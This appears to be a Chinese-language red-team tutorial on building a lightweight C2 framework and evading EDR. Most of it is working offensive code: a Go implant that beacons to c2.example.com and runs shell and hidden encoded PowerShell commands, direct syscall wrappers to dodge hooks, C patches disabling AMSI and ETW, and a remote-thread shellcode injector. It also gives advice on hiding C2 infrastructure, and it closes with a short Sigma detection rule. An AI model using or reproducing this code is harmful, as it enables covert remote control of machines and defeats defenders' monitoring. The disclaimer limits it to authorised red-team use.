引言 #
红队工程的核心是 C2 (Command and Control) 框架。本文将演示如何从零构建一个轻量级 C2,并分析对抗现代 EDR 的底层原理。
免责声明: 本文仅供授权的红队演练和安全研究使用。
C2 架构设计 #
┌─────────────────────────────────────────────────┐
│ C2 架构 │
├─────────────────────────────────────────────────┤
│ │
│ [Team Server] ←── mTLS 通信 ──▶ [Operator] │
│ │ │
│ │ HTTP/S Beacon (随机间隔) │
│ ▼ │
│ [CDN/反代] ←── 混淆流量 ──▶ [Agent/Implant] │
│ │ (目标主机) │
│ │ DNS Tunnel (备用通道) │
│ ▼ │
│ [Fallback C2] │
│ │
└─────────────────────────────────────────────────┘Go C2 Agent 实现 #
Agent 核心代码 #
// agent/main.go
package main
import (
"bytes"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"runtime"
"strings"
"time"
)
// Beacon 结构体
type Beacon struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
User string `json:"user"`
OS string `json:"os"`
Arch string `json:"arch"`
PID int `json:"pid"`
Status string `json:"status"`
}
type TaskResponse struct {
ID string `json:"id"`
Command string `json:"command"`
Payload []byte `json:"payload"`
}
type TaskResult struct {
ID string `json:"id"`
Output string `json:"output"`
Status int `json:"status"`
}
var (
c2URL = "https://c2.example.com/api/v1"
beaconID string
interval = 60 * time.Second
jitter = 0.3
)
func main() {
// 初始化 Beacon
beaconID = generateBeaconID()
// 设置 TLS 配置 (跳过证书验证)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
fmt.Printf("[*] Beacon %s started\n", beaconID)
// 主循环
for {
// 添加 jitter 防止流量特征
sleepTime := interval + time.Duration(float64(interval)*jitter*(2*random()-1))
time.Sleep(sleepTime)
// 发送 Beacon
beacon := Beacon{
ID: beaconID,
Hostname: getHostname(),
User: getUser(),
OS: runtime.GOOS,
Arch: runtime.GOARCH,
PID: os.Getpid(),
Status: "active",
}
data, _ := json.Marshal(beacon)
resp, err := client.Post(c2URL+"/beacon", "application/json", bytes.NewReader(data))
if err != nil {
continue
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
continue
}
// 解析任务
var task TaskResponse
json.NewDecoder(resp.Body).Decode(&task)
if task.Command == "" {
continue
}
// 执行命令
result := executeCommand(task.Command, task.Payload)
// 回传结果
sendResult(client, result)
}
}
func executeCommand(cmd string, payload []byte) TaskResult {
result := TaskResult{ID: cmd[:8]}
switch cmd {
case "shell":
// 执行 Shell 命令
var shellCmd *exec.Cmd
if runtime.GOOS == "windows" {
shellCmd = exec.Command("cmd", "/c", string(payload))
} else {
shellCmd = exec.Command("/bin/sh", "-c", string(payload))
}
output, err := shellCmd.CombinedOutput()
result.Output = base64.StdEncoding.EncodeToString(output)
if err != nil {
result.Status = 1
}
case "upload":
// 上传文件
filename := string(payload[:64])
filedata := payload[64:]
os.WriteFile(filename, filedata, 0644)
result.Output = "uploaded"
case "powershell":
// PowerShell 无文件执行
shellCmd = exec.Command("powershell", "-nop", "-w", "hidden", "-enc", base64.StdEncoding.EncodeToString(payload))
output, _ := shellCmd.CombinedOutput()
result.Output = base64.StdEncoding.EncodeToString(output)
default:
result.Output = "unknown command"
result.Status = 1
}
return result
}
func sendResult(client *http.Client, result TaskResult) {
data, _ := json.Marshal(result)
client.Post(c2URL+"/result", "application/json", bytes.NewReader(data))
}
func generateBeaconID() string {
return fmt.Sprintf("%08x", time.Now().UnixNano())
}
func getHostname() string {
h, _ := os.Hostname()
return h
}
func getUser() string {
if runtime.GOOS == "windows" {
return os.Getenv("USERNAME")
}
return os.Getenv("USER")
}
func random() float64 {
return float64(time.Now().UnixNano()%1000) / 1000.0
}EDR 对抗技术 #
Syscall 直接调用 #
现代 EDR 通过 Hook 用户态 API (如 kernel32.dll) 来检测恶意行为。绕过方法:直接调用 Native API (syscalls)。
// syscalls/syscall_windows.go
package syscalls
import (
"syscall"
"unsafe"
)
var (
ntdll = syscall.NewLazyDLL("ntdll.dll")
procNtAllocateVirtualMemory = ntdll.NewProc("NtAllocateVirtualMemory")
procNtWriteVirtualMemory = ntdll.NewProc("NtWriteVirtualMemory")
procNtCreateThreadEx = ntdll.NewProc("NtCreateThreadEx")
)
// NtAllocateVirtualMemory 直接分配内存 (绕过 EDR Hook)
func NtAllocateVirtualMemory(
processHandle uintptr,
baseAddress *uintptr,
zeroBits uintptr,
size *uintptr,
allocationType uint32,
protect uint32,
) uint32 {
ret, _, _ := procNtAllocateVirtualMemory.Call(
processHandle,
uintptr(unsafe.Pointer(baseAddress)),
0,
uintptr(unsafe.Pointer(size)),
uintptr(allocationType),
uintptr(protect),
)
return uint32(ret)
}
// NtCreateThreadEx 创建远程线程
func NtCreateThreadEx(
threadHandle *uintptr,
desiredAccess uint32,
objectAttributes uintptr,
processHandle uintptr,
startAddress uintptr,
parameter uintptr,
createFlags uint32,
zeroBits uintptr,
stackSize uintptr,
maximumStackSize uintptr,
attributeList uintptr,
) uint32 {
ret, _, _ := procNtCreateThreadEx.Call(
uintptr(unsafe.Pointer(threadHandle)),
uintptr(desiredAccess),
objectAttributes,
processHandle,
startAddress,
parameter,
uintptr(createFlags),
zeroBits,
stackSize,
maximumStackSize,
attributeList,
)
return uint32(ret)
}AMSI Bypass #
// amsi_bypass.c
// 绕过 Windows Antimalware Scan Interface
#include <windows.h>
#include <stdio.h>
// AMSI 扫描函数地址
typedef HRESULT(WINAPI* AmsiScanBufferPtr)(
HAMSICONTEXT amsiContext,
const void* buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result
);
// Patch AmsiScanBuffer
void PatchAmsiScanBuffer() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) return;
AmsiScanBufferPtr pAmsiScanBuffer =
(AmsiScanBufferPtr)GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return;
// 方法 1: 直接 Patch 函数开头 (ret)
unsigned char patch[] = { 0xC3 }; // ret
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
printf("[+] AMSI bypass applied\n");
}
// 方法 2: ETwEventWrite Patch (更隐蔽)
void PatchEtwEventWrite() {
HMODULE ntdll = LoadLibraryA("ntdll.dll");
void* pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
unsigned char patch[] = { 0xC3 }; // ret
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
}进程注入:Reflective DLL Injection #
// injector/main.go
package main
import (
"encoding/hex"
"fmt"
"os"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procOpenProcess = kernel32.NewProc("OpenProcess")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
)
func inject(shellcode []byte, targetPID int) error {
// 1. 打开目标进程
hProcess, _, _ := procOpenProcess.Call(
PROCESS_ALL_ACCESS, 0, uintptr(targetPID),
)
// 2. 分配内存
addr, _, _ := procVirtualAllocEx.Call(
hProcess, 0, uintptr(len(shellcode)),
MEM_COMMIT, PAGE_EXECUTE_READWRITE,
)
// 3. 写入 Shellcode
procWriteProcessMemory.Call(
hProcess, addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)), 0,
)
// 4. 创建远程线程执行
procCreateRemoteThread.Call(
hProcess, 0, 0, addr, 0, 0, 0,
)
fmt.Printf("[+] Injected into PID %d\n", targetPID)
return nil
}
const (
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
)
func main() {
if len(os.Args) < 3 {
fmt.Println("Usage: injector <pid> <shellcode_hex>")
os.Exit(1)
}
shellcodeHex := os.Args[2]
shellcode, _ := hex.DecodeString(shellcodeHex)
var pid int
fmt.Sscanf(os.Args[1], "%d", &pid)
inject(shellcode, pid)
}OpSec 注意事项 #
- 基础设施隔离: C2 服务器与个人身份完全隔离
- 域名快闪: 使用短期域名 (TTL < 1小时)
- 流量混淆: Beacon 流量伪装为正常 HTTPS 流量
- CDN 反代: 使用 Cloudflare 等 CDN 隐藏真实 C2 IP
- 证书选择: 使用合法 CA 签发的证书,而非自签名
防御检测 #
# Sigma Rule: C2 Agent Detection
title: Suspicious Go Binary Execution
id: c2-detection-001
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\*.exe'
CommandLine|contains:
- '-enc '
- 'powershell'
- 'cmd /c'
filter:
ParentImage|contains:
- 'explorer.exe'
- 'cmd.exe'
condition: selection and not filter
level: high总结 #
- C2 架构核心:隐蔽性 > 功能性
- EDR 对抗:Syscall 直接调用 > API Hook
- OpSec 决定生存时间:基础设施管理比代码更重要
- 合法使用:仅在授权范围内使用
参考资源
- Cobalt Strike: https://www.cobaltstrike.com
- Sliver C2: https://github.com/BishopFox/sliver
- Reflective DLL Injection: https://github.com/stephenfewer/ReflectiveDLLInjection
- EDR/AV Bypass Methods: https://github.com/Kara-4uk/EDR-killer